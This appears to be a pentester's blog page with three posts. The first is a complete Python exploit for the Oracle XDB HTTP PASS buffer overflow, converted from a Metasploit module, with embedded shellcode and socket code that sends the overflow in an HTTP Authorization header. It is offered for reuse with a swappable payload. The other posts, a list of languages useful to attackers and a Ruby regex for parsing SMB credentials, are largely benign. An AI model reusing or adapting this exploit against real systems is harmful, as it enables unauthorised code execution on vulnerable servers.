
Tuesday, April 5, 2016

Oracle XDB HTTP PASS Buffer Overflow in Python

I had to convert the msf module https://www.exploit-db.com/exploits/16809/ to python for a project so here it is:


#!/usr/bin/env python
#converted from https://www.exploit-db.com/exploits/16809/
#@atucom
import socket
import base64
rhost = '192.168.1.10'
rport = 8080
target = (rhost,rport)
#ret = "60616d46"
ret = "\x46\x6d\x61\x60" #Universal ret

#use msfvenom to change to your own payload
buf = "\xb8\xad\x82\x42\xbe\xdb\xcb\xd9\x74\x24\xf4\x5d\x29\xc9" +\
      "\xb1\x47\x83\xc5\x04\x31\x45\x0f\x03\x45\xa2\x60\xb7\x42" +\
      "\x54\xe6\x38\xbb\xa4\x87\xb1\x5e\x95\x87\xa6\x2b\x85\x37" +\
      "\xac\x7e\x29\xb3\xe0\x6a\xba\xb1\x2c\x9c\x0b\x7f\x0b\x93" +\
      "\x8c\x2c\x6f\xb2\x0e\x2f\xbc\x14\x2f\xe0\xb1\x55\x68\x1d" +\
      "\x3b\x07\x21\x69\xee\xb8\x46\x27\x33\x32\x14\xa9\x33\xa7" +\
      "\xec\xc8\x12\x76\x67\x93\xb4\x78\xa4\xaf\xfc\x62\xa9\x8a" +\
      "\xb7\x19\x19\x60\x46\xc8\x50\x89\xe5\x35\x5d\x78\xf7\x72" +\
      "\x59\x63\x82\x8a\x9a\x1e\x95\x48\xe1\xc4\x10\x4b\x41\x8e" +\
      "\x83\xb7\x70\x43\x55\x33\x7e\x28\x11\x1b\x62\xaf\xf6\x17" +\
      "\x9e\x24\xf9\xf7\x17\x7e\xde\xd3\x7c\x24\x7f\x45\xd8\x8b" +\
      "\x80\x95\x83\x74\x25\xdd\x29\x60\x54\xbc\x25\x45\x55\x3f" +\
      "\xb5\xc1\xee\x4c\x87\x4e\x45\xdb\xab\x07\x43\x1c\xcc\x3d" +\
      "\x33\xb2\x33\xbe\x44\x9a\xf7\xea\x14\xb4\xde\x92\xfe\x44" +\
      "\xdf\x46\x50\x15\x4f\x39\x11\xc5\x2f\xe9\xf9\x0f\xa0\xd6" +\
      "\x1a\x30\x6b\x7f\xb0\xca\xfb\x40\xed\xfd\xad\x28\xec\xfd" +\
      "\x40\x68\x79\x1b\x08\x7a\x2c\xb3\xa4\xe3\x75\x4f\x55\xeb" +\
      "\xa3\x35\x55\x67\x40\xc9\x1b\x80\x2d\xd9\xcb\x60\x78\x83" +\
      "\x5d\x7e\x56\xae\x61\xea\x5d\x79\x36\x82\x5f\x5c\x70\x0d" +\
      "\x9f\x8b\x0b\x84\x35\x74\x63\xe9\xd9\x74\x73\xbf\xb3\x74" +\
      "\x1b\x67\xe0\x26\x3e\x68\x3d\x5b\x93\xfd\xbe\x0a\x40\x55" +\
      "\xd7\xb0\xbf\x91\x78\x4a\xea\x23\x44\x9d\xd2\x51\xa4\x1d"

sploit1 = "A" * 4 + ":" + "A" * 442 + "\xeb\x64" + "\x90\x90" + ret + "\x90" *266 + "\xeb\x10" + "\x90" * 109 + buf
req  = "Authorization: Basic "+ base64.b64encode(sploit1) +"\r\n\r\n"
res  = "GET / HTTP/1.1\r\n" + "Host: " +rhost+":"+str(rport)+"\r\n" + req
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(target)
s.send(res)

Thursday, March 24, 2016

Hackers and Programming Languages


  The following is a list of very common programming languages and why a Pentester/Hacker should be at the very least familiar with them:


  •  Bash - Using linux, I'd wager the most important language to be proficient in. 
  •  Ruby - Many security tools are written in Ruby, extending metasploit, exploit dev, understanding/exploiting Rails vulns. Overall a very enjoyable language to program in.
  •   Python - Many security tools are written in python, extending veil/impacket, exploit dev, lots of RE/Forensics tools are written in python, huge and active community to build upon.
  •   C++ - Custom windows malware writing, gives you more direct access to the windows API
  •   PHP - crap ton of webapps/professional appliances/general web stuff is written in PHP
  •   Javascript - XSS/CSRF, NodeJS, super crazy fancy looking tools
  •   Java - Almost every single organization runs java somewhere. Java web apps, apache tomcat, Weblogic, any java app server, java RPC protocols. LOTS of vulnerabilities introduced because of java apps.
  •   C - Custom malware writing (in general), several security tools written in C, driver/kernel hacking
  •   Perl - Make yourself seem way older than you actually are. haha, jk. no really you don't need to learn perl.


  Other programming like things:

  •   Object Oriented Programming - Important for source code analysis and writing more powerful tools
  •   Programming Patterns - Certain programming patterns are not intuitive at all. Important to know when you are debugging other's code or doing source code analysis.
  •   HTML - Any place you'd have HTML injection or trying to get custom XSS/ or other browser centric vulns to pop
  •   XML - data storage, API data transfer format, SOAP, XXE injection
  •   JSON - Other than XML, most often used API format
  •   SQL - SQLi, intercepting SQL traffic


This list is by no means exhaustive or comprehensive, it's just typically the languages you'd most often encounter on pentests, exploit dev, or reverse engineering. If you can think of other uses for the languages or another language I missed, let me know.

Tuesday, March 15, 2016

Regex for SMB credentials

If you enjoy smbclient/winexe's format for specifying credentials than you will enjoy the regex I came up with to create groupings for the domain, username, and password. It also accounts for the fact that Active Directory usernames can contain spaces. Enough talk, take a look:

Regex: (?:([\w ]*)[\/\\])?([\w ]*)%([\S \t]*)

Sample Code:
#!/usr/bin/env ruby

def parseSMBCreds(creds)
  domain, user, password = creds.match(/(?:([\w ]*)[\/\\])?([\w ]*)%([\S \t]*)/).captures
end

domain,user,password = parseSMBCreds('lolwut/Jim Bo%Pas!@#$%^&*()<>?:"')
puts "User Domain: #{domain}"
puts "Username: #{user}"
puts "Password: #{password}"

domain,user,password = parseSMBCreds('lolwut/JimBo%Pas!@#$%^&*()<>?:"')
puts "User Domain: #{domain}"
puts "Username: #{user}"
puts "Password: #{password}"

domain,user,password = parseSMBCreds('JimBo%Pas!@#$%^&*()<>?:"')
puts "User Domain: #{domain}"
puts "Username: #{user}"
puts "Password: #{password}"

Run the script and view the results with different formats of creds:

There you go, feel free to use the regex/code in your own scripts to make your life easier.